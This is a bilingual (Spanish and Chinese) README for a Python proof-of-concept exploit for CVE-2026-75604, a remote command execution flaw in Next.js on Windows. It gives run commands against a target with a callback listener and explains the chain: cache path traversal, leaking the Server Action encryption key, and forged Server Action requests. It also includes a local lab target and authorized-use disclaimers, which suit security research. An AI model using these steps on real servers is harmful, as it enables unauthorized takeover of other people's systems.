
Prueba de concepto del exploit para CVE-2026-75604, una RCE no autenticada en Next.js alojado en Windows mediante path traversal en la caché y una Server Action falsificada, para pruebas de seguridad autorizadas.
Prueba de concepto en Python para CVE-2026-75604, una vulnerabilidad de ejecución remota de comandos sin autenticación en aplicaciones Next.js alojadas en Windows que utilizan tanto Pages Router como App Router sin Cache Components.

>=13.4 <15.5.24 o >=16.0 <16.3.3Validado con [email protected].
python -m pip install -r requirements.txt
python poc.py --target http://TARGET:3000 --callback-ip CALLBACK_IP --pages-cache-path /PATH/TO/PAGES_ISR_INSTANCE --app-cache-path /PATH/TO/APP_CACHE_INSTANCE
La ruta de la Server Action por defecto es /. Use --action-field cuando su formulario tenga más de un campo.
Argumentos obligatorios:
--target URL: URL base de la aplicación Next.js--callback-ip ADDRESS: dirección IPv4 accesible por el objetivo--pages-cache-path PATH: página ISR dinámica existente de Pages Router--app-cache-path PATH: página dinámica existente de App Router respaldada por la caché de sistema de archivosArgumentos opcionales:
--command COMMAND: comando a ejecutar; por defecto whoami--action-path PATH: página de App Router que contiene la Server Action compatible; por defecto /--action-field NAME: campo de formulario consumido por la acción; se detecta automáticamente cuando no es ambiguo--callback-port PORT: puerto de callback; por defecto 4331--listen-address ADDRESS: dirección local de enlace del callback; por defecto 0.0.0.0--timeout SECONDS: tiempo de espera de solicitud y callback; por defecto 20--insecure: desactiva la verificación de certificados TLSLa aplicación opcional target/ fija [email protected] y usa el servidor de producción estándar de Next.js:
cd target
npm ci
npm run build
npm start
Ejecute el PoC en otra terminal:
python poc.py --target http://127.0.0.1:4330 --callback-ip 127.0.0.1 --pages-cache-path /pages-cache/seed --app-cache-path /app-cache/seed
El objetivo opcional proporciona las rutas requeridas y una Server Action compatible en /.
Este PoC se proporciona únicamente con fines educativos, investigación de seguridad y pruebas autorizadas. Úselo solo en sistemas que posea o para los que tenga permiso explícito de prueba.
Crédito a evolutionstorm.
Este PoC fue reconstruido de forma independiente a partir del aviso público y del parche de Next.js.
本仓库为 CVE-2026-75604 利用 PoC 的中转分发镜像(英文使用说明见上方上游原版 README)。内容由上游公开 PoC 镜像而来,仅作存档与分发用途。PoC 仅供安全研究、漏洞验证与授权测试,请勿用于未授权目标。
AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H>=13.4 <15.5.24、>=16.0 <16.3.315.5.24 / 16.3.3核心原理:FileSystemCache 在 Windows 上未把反斜杠(\)视为路径分隔符进行转义,攻击者可用 ..%5C 编码穿越缓存路径,读取私密文件 server-reference-manifest.json,泄露 Server Action 的 encryptionKey,再伪造闭包绑定 Server Action 请求执行任意命令。
python -m pip install -r requirements.txt(cryptography、requests)已在 [email protected] 上验证。
python poc.py --target http://TARGET:3000 --callback-ip CALLBACK_IP \
--pages-cache-path /PATH/TO/PAGES_ISR_INSTANCE \
--app-cache-path /PATH/TO/APP_CACHE_INSTANCE
| 参数 | 必填 | 说明 |
|---|---|---|
--target URL | 是 | Next.js 应用基础 URL |
--callback-ip ADDRESS | 是 | 目标可回连的 IPv4 地址 |
--pages-cache-path PATH | 是 | 已存在的动态 Pages Router ISR 页(穿越锚点) |
--app-cache-path PATH | 是 | 已存在的、走文件系统缓存的动态 App Router 页 |
--command COMMAND | 否 | 要执行的命令(默认 whoami) |
--action-path PATH | 否 | 含兼容 Server Action 的 App Router 页(默认 /) |
--action-field NAME | 否 | Action 表单消费的业务字段(唯一时自动检测) |
--callback-port PORT | 否 | 回连端口(默认 4331) |
--listen-address ADDRESS | 否 | 本地回调监听地址(默认 0.0.0.0) |
--timeout SECONDS | 否 | 请求与回调超时(默认 20) |
--insecure | 否 | 关闭 TLS 证书校验 |
仓库内 target/ 提供了可复现的示例应用(锁定 [email protected],标准生产服务器):
cd target
npm ci
npm run build
npm start
另开终端运行:
python poc.py --target http://127.0.0.1:4330 --callback-ip 127.0.0.1 \
--pages-cache-path /pages-cache/seed --app-cache-path /app-cache/seed
示例目标提供了所需路由与 / 上的兼容 Server Action。
本 PoC 仅供教学、安全研究与授权测试使用,仅可对自有或获得明确授权的系统运行。利用会在目标 Windows 主机执行任意命令,请在可销毁环境中测试。
LICENSE)。